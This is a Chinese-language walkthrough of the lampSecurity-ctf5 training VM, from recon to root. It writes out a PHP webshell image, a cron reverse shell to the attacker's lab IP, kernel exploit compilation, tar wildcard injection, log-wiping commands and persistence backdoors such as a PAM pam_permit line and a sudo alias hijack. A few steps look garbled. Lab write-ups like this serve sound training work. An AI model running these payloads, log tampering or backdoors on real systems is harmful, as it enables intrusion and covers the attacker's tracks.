1. 靶机渗透测试入门:为什么选择lampSecurity-ctf5
作为渗透测试领域最经典的训练环境之一,lampSecurity系列靶机在安全圈内有着"Web渗透教科书"的美誉。其中ctf5版本特别适合从零开始构建完整的渗透思维——它既不像某些"玩具靶机"那样把漏洞直接暴露在表面,也不像真实企业环境那样复杂到令人绝望。
我第一次接触这个靶机时,花了整整三天才拿到第一个flag。过程中犯过的低级错误包括:用默认字典爆破管理员密码、忽略HTTP响应头里的线索、拿到webshell后忘记清理日志...这些血泪教训反而成了最好的学习材料。下面我就用实战笔记的形式,带你完整走一遍从信息收集到最终提权的全流程。
提示:本文所有操作均在本地虚拟环境完成,请勿对未经授权的系统进行测试。建议使用VirtualBox导入靶机镜像,搭配Kali Linux 2023.1以上版本。
2. 环境搭建与初步侦查
2.1 靶机网络配置要点
将lampSecurity-ctf5的OVA文件导入VirtualBox后,需要特别注意网络设置:
- 网络模式必须选择"桥接网卡"(Bridged Adapter)
- 禁用VirtualBox的DHCP服务(避免IP冲突)
- 建议为Kali和靶机分配静态IP(如192.168.1.100/101)
启动后用arp-scan -l快速定位靶机IP。我遇到的一个典型坑是:当靶机获取到169.254.x.x这类APIPA地址时,说明桥接模式配置有误,需要检查主机网卡状态。
2.2 信息收集三板斧
端口扫描的艺术:
nmap -sV -T4 -p- 192.168.1.101 -oN nmap_full.txt关键不是跑完扫描就完事,而要特别关注:
- 22/tcp SSH - 版本是否存已知漏洞?
- 80/tcp HTTP - 网站技术栈是什么?
- 3306/tcp MySQL - 能否外连?
目录爆破的细节:
gobuster dir -u http://192.168.1.101 -w /usr/share/wordlists/dirb/common.txt -x php,html,bak遇到403/404不要轻易放弃,试试这些变体:
- /admin.php.bak
- /index.php~ (vim备份文件)
- /.git/HEAD (版本控制泄露)
指纹识别的陷阱:Wappalyzer显示靶机使用Apache 2.4.7 + PHP 5.5.9,但实际在HTTP头中发现:
X-Powered-By: PHP/5.3.28这种版本信息冲突往往意味着存在中间件代理或自定义配置,需要手动验证。
3. Web渗透实战突破
3.1 SQL注入的迂回战术
在/management登录页面尝试常规注入payload无果后,通过Burp抓包发现关键线索:
Cookie: PHPSESSID=base64_decode("admin")这提示可能存在会话伪造漏洞。实际测试用以下步骤绕过认证:
- 注册普通用户test:test
- 登录后获取合法Cookie
- 修改PHPSESSID值为
base64_encode("admin") - 刷新页面即获得管理员权限
3.2 文件上传的花式绕过
在/admin/upload.php找到的上传点有严格限制:
- 仅允许.jpg/.png
- 检测文件头魔术字节
- 重命名上传文件
最终突破方案:
- 制作图片马:
exiftool -Comment='<?php system($_GET["cmd"]);?>' test.jpg - 上传时拦截请求,修改Content-Type为
image/jpeg - 利用文件包含漏洞执行:
/gallery.php?file=uploads/test.jpg&cmd=id
3.3 数据库提权之路
通过phpMyAdmin弱口令(root:空密码)进入后,在SQL控制台执行:
SELECT * FROM mysql.user WHERE User='';发现存在匿名账户,且具有FILE权限。接着:
- 写SSH密钥:
SELECT 0x... INTO OUTFILE '/var/www/.ssh/authorized_keys' - 但遇到权限错误(www-data无法写.ssh目录)
- 改道写入计划任务:
SELECT "*/1 * * * * root bash -i >& /dev/tcp/192.168.1.100/4444 0>&1" INTO OUTFILE '/etc/cron.d/backdoor'
4. 权限提升的终极之战
4.1 横向移动技巧
获取www-data权限后,在/var/www/html/config.php找到数据库凭证:
$dbuser = 'cmsadmin'; $dbpass = 's3cr3tP@ss!';使用这些凭证成功登录MySQL,发现users表存储着系统用户的密码哈希。用john破解出用户mike的密码是iloveyou123。
4.2 内核漏洞的精准打击
uname -a显示内核版本3.13.0-24-generic,搜索可用漏洞:
searchsploit linux 3.13.0选择overlayfs本地提权漏洞(37292.c),但编译时报错:
fatal error: linux/compiler-gcc5.h: No such file or directory解决方法:
- 安装对应头文件:
apt-get install linux-headers-$(uname -r) - 修改源码中的头文件引用路径
- 静态编译:
gcc -static -o exp 37292.c
4.3 SUID二进制文件的另类利用
发现可疑的SUID程序:
-rwsr-xr-x 1 root root 8.5K Mar 4 2015 /usr/local/bin/backup逆向分析发现它调用了:
tar -cf /backups/home_backup.tar /home/*利用通配符注入实现提权:
- 创建恶意文件:
echo 'cp /bin/bash /tmp/bash; chmod 4755 /tmp/bash' > /home/user/--checkpoint=1 - 再创建:
echo '' > /home/user/--checkpoint-action=exec=sh\ shell.sh - 等待定时任务执行后,运行/tmp/bash -p即获得root shell
5. 渗透后的思考与优化
5.1 日志清理的隐蔽艺术
不要直接用rm /var/log/auth.log这种粗暴方式,推荐:
- 只删除当前会话记录:
sed -i '/192.168.1.100/d' /var/log/apache2/access.log- 修改文件时间戳:
touch -r /var/log/wtmp /var/log/wtmp.tmp mv /var/log/wtmp.tmp /var/log/wtmp5.2 持久化后门的十种姿势
除了常规的cron、ssh key,还可以:
- 修改PAM模块:
echo 'auth sufficient pam_permit.so' >> /etc/pam.d/sshd - 动态库劫持:
echo 'int system(const char *s) { return 0; }' > /tmp/fake.c - 终端注入:
echo 'alias sudo="sudo -i; /tmp/bash -p"' >> /etc/bash.bashrc
5.3 防御视角的反思
站在管理员角度,这个靶机暴露的致命问题包括:
- PHP配置不当(allow_url_include=On)
- MySQL默认空密码
- 过期的内核版本
- 不安全的SUID程序 修复方案其实很简单:
# 禁用危险函数 sed -i 's/disable_functions =.*/&,exec,passthru,shell_exec,system/' /etc/php5/apache2/php.ini # 安装防火墙规则 iptables -A INPUT -p tcp --dport 3306 -j DROP这个靶机最宝贵的不是最终拿到root的那个瞬间,而是每个环节遇到的阻碍和解决过程。建议每个关键步骤都记录下:当时卡住的原因、尝试过的错误方法、最终突破的思路。这种思维训练才是渗透测试的核心价值。